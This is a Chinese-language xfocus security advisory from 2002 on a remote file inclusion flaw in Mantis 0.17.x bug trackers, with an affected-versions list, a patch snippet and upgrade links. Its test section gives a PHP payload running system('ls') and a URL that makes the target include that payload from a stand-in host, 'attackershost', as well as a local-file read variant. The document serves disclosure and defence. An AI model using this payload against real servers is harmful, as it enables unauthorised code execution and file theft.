xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Mantis配置远程文件包含读取任意文件漏洞


发布时间:2002-08-28
更新时间:2002-08-28
严重程度:
威胁程度:远程非授权文件存取
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:5509

受影响系统
Mantis Mantis 0.17 .0
Mantis Mantis 0.17.1
Mantis Mantis 0.17.2
Mantis Mantis 0.17.3
详细描述
Mantis依靠一些包含文件来对BUG跟踪系统进行配置,由于Mantis对包含文件的路径缺少正确检查可以导致攻击者指定本地系统的文件作为包含文件,而导致本地系统任意文件内容泄露,包含远程服务器上的文件,可导致代码以WEB权限执行。

测试代码
在自己控制的服务器上建立包含如下代码的listings.txt:

<?php
system('ls');
exit;
?>

再执行如下URL:http://target/mantis/login_page.php?g_meta_include_file=http://attackershost/listings.txt

或者

http://target/mantis/login_page.php?g_css_include_file=arbitraryfile

解决方案
在PHP配置中设置'allow_url_fopen'和'register_globals'选项为'off'。

或者在core_API.php脚本中插入如下代码:

if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
isset($HTTP_POST_VARS['g_top_include_file']) ||
isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
isset($HTTP_POST_VARS['g_bottom_include_page']) ||
isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
isset($HTTP_POST_VARS['g_css_include_file']) ||
isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
isset($HTTP_POST_VARS['g_meta_include_file']) ||
isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
exit;
}

升级程序下载:

Mantis Mantis 0.17 .0:

Mantis Upgrade Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963

Mantis Mantis 0.17.1:

Mantis Upgrade Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963

Mantis Mantis 0.17.2:

Mantis Upgrade Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963

Mantis Mantis 0.17.3:

Mantis Upgrade Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963

相关信息
Andrew Johnson
参考:http://online.securityfocus.com/archive/1/288104
相关主页:http://mantisbt.sourceforge.net/index.php3